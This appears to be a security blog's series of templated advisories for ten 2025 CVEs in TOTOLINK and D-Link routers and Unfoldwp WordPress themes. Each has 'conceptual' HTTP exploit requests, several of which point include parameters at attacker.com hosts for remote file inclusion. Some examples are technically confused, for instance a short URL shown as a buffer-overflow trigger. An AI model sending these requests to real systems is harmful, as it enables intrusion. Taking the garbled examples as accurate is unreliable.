Author: Ameeba

CVE-2025-6164: Critical Buffer Overflow Vulnerability in TOTOLINK A3002R
Overview

The cybersecurity landscape is continually evolving, with new vulnerabilities being discovered on a regular basis. One such vulnerability, identified as CVE-2025-6164, has been recently found in TOTOLINK A3002R 4.0.0-B20230531.1404. This critical security flaw affects the HTTP POST Request Handler component, specifically in the /boafrm/formMultiAP file. Its severity and potential for exploitation make this vulnerability particularly concerning.
The risks are significant due to the potential for system compromise or data leakage. Any entity using the affected versions of the TOTOLINK A3002R should take immediate steps to mitigate the risk and protect their system integrity and data confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-6164
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002R | 4.0.0-B20230531.1404

How the Exploit Works

The vulnerability lies in the manipulation of the ‘submit-url’ argument within the HTTP POST Request Handler of the TOTOLINK A3002R. By manipulating this argument, the attacker can trigger a buffer overflow condition. Buffer overflow exploits typically involve the input of an amount of data that exceeds the buffer’s capacity, which then overwrites adjacent memory locations. In this case, it can lead to a system compromise or potential data leakage.

Conceptual Example Code

Here’s a conceptual representation of an HTTP POST request that might exploit this vulnerability:
```
POST /boafrm/formMultiAP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=...[malicious_buffer_overflow_payload]
```
In the above example, the ‘submit-url’ argument is appended with a malicious payload designed to exploit the buffer overflow vulnerability.

Recommended Mitigation

To mitigate this vulnerability, TOTOLINK A3002R users should apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regular monitoring for any unusual activity, and having robust incident response procedures in place, are also essential for limiting potential damage.
June 23, 2025
CVE-2025-6163: Critical Buffer Overflow Vulnerability in TOTOLINK A3002RU
Overview

A critical vulnerability has been identified in the TOTOLINK A3002RU wireless router version 3.0.0-B20230809.1615. This vulnerability, designated as CVE-2025-6163, enables attackers to manipulate a specific argument in HTTP POST requests, leading to buffer overflow. This issue poses a significant threat as it may be exploited remotely, potentially compromising systems or leading to data leakage.
The importance of mitigating this vulnerability cannot be overstated, given its critical rating and the widespread use of TOTOLINK routers. The exploit has already been disclosed to the public, increasing the urgency to implement preventative measures.

Vulnerability Summary

CVE ID: CVE-2025-6163
Severity: Critical, CVSS v3.1 score: 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002RU | 3.0.0-B20230809.1615

How the Exploit Works

The vulnerability lies within the HTTP POST Request Handler, specifically in the file /boafrm/formMultiAP. An attacker can manipulate the ‘submit-url’ argument in a HTTP POST request, causing a buffer overflow. Buffer overflow occurs when data written to a buffer exceeds its capacity, causing it to overwrite adjacent memory. This consequence can lead to erratic program behavior, system crashes, or the execution of malicious code.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited in an HTTP request:
```
POST /boafrm/formMultiAP HTTP/1.1
Host: target.totolink.net
Content-Type: application/x-www-form-urlencoded
submit-url=[MALICIOUS_PAYLOAD]
```
In this hypothetical example, [MALICIOUS_PAYLOAD] would be replaced with an exploit designed to cause a buffer overflow.

Mitigation and Prevention

There are two recommended mitigations for this vulnerability. The first, and most effective, is to apply the vendor patch once available. If a patch is not immediately available or there are constraints in applying it, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
It’s also recommended to disable remote management of the TOTOLINK A3002RU router if not necessary, as the exploit can be launched remotely.
As always, users are encouraged to monitor their systems for any unusual activity and ensure that all software is kept up-to-date.
June 23, 2025
CVE-2025-6162: Critical Buffer Overflow Vulnerability in TOTOLINK EX1200T HTTP POST Request Handler
Overview

The cybersecurity community has identified a critical vulnerability in TOTOLINK EX1200T version 4.1.2cu.5232_B20210713, a widely used software. This vulnerability, tagged CVE-2025-6162, poses a significant risk as it can be exploited remotely, potentially compromising systems and leading to data leakage. Given the severity of the vulnerability and its potential impact, it is crucial to understand and mitigate it swiftly.

Vulnerability Summary

CVE ID: CVE-2025-6162
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability resides within an unknown functionality of the file /boafrm/formMultiAP, a component of the HTTP POST Request Handler. The argument ‘submit-url’ within the HTTP POST Request can be manipulated, leading to a buffer overflow. This overflow condition can be exploited by a remote attacker to execute arbitrary code on the system, potentially compromising the system or causing data leakage.

Conceptual Example Code

The following is a conceptual HTTP POST request that might be used to exploit the vulnerability:
```
POST /boafrm/formMultiAP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=http://malicious.example.com
```
In this example, the ‘submit-url’ argument is manipulated to point to a malicious URL. When processed by the vulnerable system, it could lead to a buffer overflow, thereby compromising the system.

Mitigation Guidance

Immediate action is required to mitigate the risk posed by this vulnerability. Users of the affected versions of TOTOLINK EX1200T should apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions and can only limit the potential damage. Therefore, it is still highly recommended to apply the patch for a comprehensive solution.
June 23, 2025
CVE-2025-6158: Critical Buffer Overflow Vulnerability in D-Link DIR-665 1.00
Overview

The CVE-2025-6158 vulnerability is a severe security flaw identified in D-Link DIR-665 1.00. This vulnerability, classified as critical, impacts the HTTP POST Request Handler component, specifically the sub_AC78 function. The manipulation of this function can lead to a stack-based buffer overflow, potentially compromising the system or leading to data leakage.
Importantly, this vulnerability affects products that are no longer supported by the maintainer, making it particularly concerning for those using outdated versions of the product. With the exploit already disclosed to the public, users of the affected products are strongly advised to take immediate corrective measures to protect their systems.

Vulnerability Summary

CVE ID: CVE-2025-6158
Severity: Critical (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

D-Link DIR-665 | 1.00

How the Exploit Works

The exploit works by sending a manipulated HTTP POST request to the sub_AC78 function of the affected product. This oversizes the input buffer, leading to a stack-based buffer overflow. This overflow can then be exploited to execute arbitrary code on the system, thereby compromising it. The vulnerability can be exploited remotely and does not require any user interaction, making it particularly dangerous.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /vulnerable/sub_AC78 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "A"*4096 }
```
In this example, the malicious payload is a string of 4096 ‘A’ characters, designed to overrun the buffer and trigger the overflow.

Mitigation Guidance

Users of the affected product are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not full-proof solutions and can only minimize the risk. The ultimate solution is to update the product or replace it with one that is currently supported by the vendor.
June 23, 2025
CVE-2025-49281: Critical PHP Remote File Inclusion Vulnerability in Unfoldwp Magways
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security flaw in Unfoldwp’s Magways software. The vulnerability, dubbed CVE-2025-49281, is a type of PHP Remote File Inclusion (RFI) vulnerability that allows for PHP Local File Inclusion (LFI). This type of vulnerability can have severe consequences, potentially leading to a complete compromise of the affected system or unauthorized access to sensitive data. It is particularly concerning because it affects all versions of the Magways software up to version 1.2.1, posing a significant risk to any organizations currently utilizing this software.

Vulnerability Summary

CVE ID: CVE-2025-49281
Severity: Critical (CVSS Score: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magways | Up to 1.2.1

How the Exploit Works

The vulnerability is due to improper control of the filename for ‘include’ and ‘require’ statements in PHP programs within the Magways software. This allows an attacker to include malicious scripts from remote servers, thereby executing arbitrary PHP code on the server running the vulnerable software. This could potentially lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. An attacker could craft a request similar to the one below, where “malicious_payload.php” is a script hosted on the attacker’s server:
```
GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.com
```
In this example, the attacker is exploiting the vulnerability by replacing the expected local file path with the URL of a malicious PHP script. When this request is processed by the server, the malicious script is included and executed.

Mitigation

The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor as soon as possible. However, if immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help to block or alert on attempts to exploit this vulnerability while a more permanent solution is implemented.
June 23, 2025
CVE-2025-49280: Critical PHP Remote File Inclusion Vulnerability in Unfoldwp Magty
Overview

CVE-2025-49280 is a vital vulnerability that affects Unfoldwp Magty – a widely utilized platform for creating professional websites. This vulnerability arises from improper control of filename for Include/Require statement in PHP Program, specifically a ‘PHP Remote File Inclusion’ (RFI) vulnerability. In essence, the vulnerability allows potential attackers to include local files from the server, leading to potential system compromise or data leakage. This vulnerability is of significant concern due to its high CVSS Severity Score and the substantial impact it could have on the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-49280
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magty | n/a through 1.0.6

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in a PHP Program. The PHP ‘include’ and ‘require’ statements are used to insert useful codes written in other files, in the flow of execution. In this particular case, an attacker could manipulate these statements to include files from a remote server, instead of local ones. Once the remote files are included, the attacker can execute arbitrary commands, possibly leading to full system control or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:
```
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com
```
In this example, the attacker is requesting the ‘index.php’ page, but with a parameter (‘file’) pointing to a malicious script hosted on their own server (‘attacker.com’). The PHP ‘include’ or ‘require’ statement would then load and execute this remote file, causing the malicious script to be executed on the target server.

How to Mitigate the Vulnerability

To mitigate this vulnerability, users of Unfoldwp Magty should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts at exploiting this vulnerability, thereby protecting the system until the patch can be applied.
Remember, regular patching and updating of systems is a key aspect of maintaining a secure IT environment. Being proactive in addressing vulnerabilities can significantly reduce the risk of system compromise or data leakage.
June 23, 2025
CVE-2025-49279: PHP Remote File Inclusion Vulnerability in Unfoldwp Blogvy
Overview

This blog post focuses on a critical vulnerability, CVE-2025-49279, that affects the Unfoldwp Blogvy platform. This vulnerability pertains to the improper control of filename for include/require statement in PHP programs, also known as ‘PHP Remote File Inclusion’. This vulnerability poses a severe risk to user data and system integrity, as it could potentially lead to a system compromise or data leakage. It is of utmost importance for users and administrators of the Unfoldwp Blogvy platform to understand this vulnerability and take appropriate mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-49279
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogvy | n/a through 1.0.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when the platform fails to sufficiently sanitize user-supplied input. An attacker can manipulate the ‘include’ or ‘require’ statements in PHP, which are used to insert the content of one PHP file into another. By supplying a malicious filename, an attacker can command the vulnerable script to include a remote file hosted on an attacker-controlled server, thus leading to arbitrary code execution on the target server.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:
```
GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com
```
In the example above, the attacker modifies the ‘file‘ parameter in the URL to point to a malicious PHP script hosted on their own server (attacker.com). When the server processes this request, it includes the malicious script, leading to arbitrary code execution.

Mitigation Guidance

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on suspicious activity can serve as a temporary mitigation. Additionally, it is advisable to restrict the input of ‘include’ or ‘require’ statements to a list of safe, predefined values, rather than allowing user-supplied input.
June 23, 2025
CVE-2025-49278: Critical PHP Remote File Inclusion Vulnerability in Unfoldwp Blogty
Overview

A critical vulnerability, CVE-2025-49278, has been discovered within the Unfoldwp Blogty platform, a widely used blogging tool. This high-risk issue is a result of an improper control of filename for include/require statement in PHP programming, colloquially known as PHP Remote File Inclusion (RFI). The vulnerability has significant ramifications, as it allows PHP Local File Inclusion leading to potential system compromise or data leakage. Thus, it is essential for anyone using Blogty, up to version 1.0.11, to understand the implications and take immediate steps to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-49278
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogty | Up to 1.0.11

How the Exploit Works

This vulnerability arises from a lack of proper sanitization of user-supplied input in the PHP include/require statements used in Unfoldwp Blogty. An attacker can manipulate these statements to include remote files that are executed in the context of the webserver. This can lead to unauthorized access, data leakage, or even a complete system compromise, depending on the permissions assigned to the webserver.

Conceptual Example Code

The following hypothetical HTTP request depicts how an attacker might leverage this vulnerability by sending a malicious payload through the vulnerable endpoint:
```
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com
```
In this example, the attacker is attempting to include ‘malicious_file.txt’ hosted on their server. If the request is successful, the server will execute the content of ‘malicious_file.txt’, leading to a potential system compromise or data leakage.

Mitigation Guidance

As a matter of urgency, users of Unfoldwp Blogty should apply the latest vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by filtering potentially malicious traffic. However, these are merely temporary measures-applying the vendor’s patch remains the ultimate solution to this vulnerability.
June 23, 2025
CVE-2025-49277: PHP Remote File Inclusion Vulnerability in Unfoldwp Blogprise
Overview

A significant vulnerability, CVE-2025-49277, has been identified in the PHP program of Unfoldwp Blogprise. This vulnerability allows PHP Remote File Inclusion (RFI) to occur due to improper control of filename for Include/Require statement in PHP program. It affects all versions up to 1.0.9 of the Blogprise software. The potential impact of this vulnerability is significant, potentially leading to system compromise or data leakage. Thus, it is crucial for system administrators and cybersecurity professionals to understand the nature of this vulnerability, its potential impacts, and the necessary mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-49277
Severity: High (8.1/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogprise | Up to 1.0.9

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP program of Unfoldwp Blogprise. An attacker can include a file from a remote server that contains malicious PHP code. When the file is included, the PHP code will be executed by the server. This could potentially allow an attacker to execute arbitrary commands or code, compromise the system, or cause a denial of service.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:
```
POST /vulnerable/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious.php
```
In this example, the `file` parameter is used in an include statement in the `endpoint.php` file. The attacker has pointed it to `malicious.php` on their server, which contains the malicious code to be executed on the target server.

Recommended Mitigation Steps

To mitigate the risks associated with this vulnerability, the first step is to apply the vendor patch. If the patch is not immediately available or cannot be applied in a timely manner, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability. However, they should not be considered a long-term solution and the vendor patch should be applied as soon as it is available.
In addition to these mitigation techniques, it is also recommended to restrict access to the application to trusted networks. Limiting the interfaces and users that can interact with your server reduces the potential attack surface. Furthermore, regular audits and monitoring for unusual activity can help identify potential exploits early and limit their impact.
June 23, 2025
CVE-2025-49276: PHP Remote File Inclusion Vulnerability in Unfoldwp Blogmine
Overview

CVE-2025-49276 is a high severity vulnerability that pertains to Unfoldwp Blogmine, a popular blogging platform. This vulnerability arises due to an improper control of filename for include/require statements in the PHP program, which can lead to a PHP Local File Inclusion (LFI). Given the broad usage of the Blogmine platform, this vulnerability has the potential to impact a vast number of websites and their users.
The risk associated with this vulnerability is significant, as it has the potential to compromise systems or lead to data leakage. It is therefore imperative for system administrators and developers who utilize Blogmine to understand this vulnerability and take immediate steps for its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-49276
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogmine | n/a through 1.1.7

How the Exploit Works

The vulnerability arises from the improper control of the filename in the include/require statements of a PHP program in Unfoldwp Blogmine. An attacker can exploit this vulnerability by manipulating the filename parameter in a PHP include/require statement to point to a remote file. This remote file can contain malicious PHP code that the server will execute.
This allows the attacker to execute arbitrary PHP code on the target server, potentially compromising the system’s integrity and confidentiality. The attacker could gain unauthorized access to sensitive data, manipulate content, or perform other unauthorized actions on the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Here, the attacker manipulates the ‘page’ parameter to point to a remote file that contains malicious PHP code.
```
GET /index.php?page=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com
```
The server would then fetch the malicious_code.txt file from the attacker’s server and execute the contained PHP code.

Mitigation Guidance

The recommended mitigation strategy for this vulnerability is to apply the vendor patch. Users of Unfoldwp Blogmine are advised to upgrade to the latest version as soon as possible. As a temporary mitigation, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. However, these are only temporary solutions, and a patch should be applied as soon as it is available.
June 22, 2025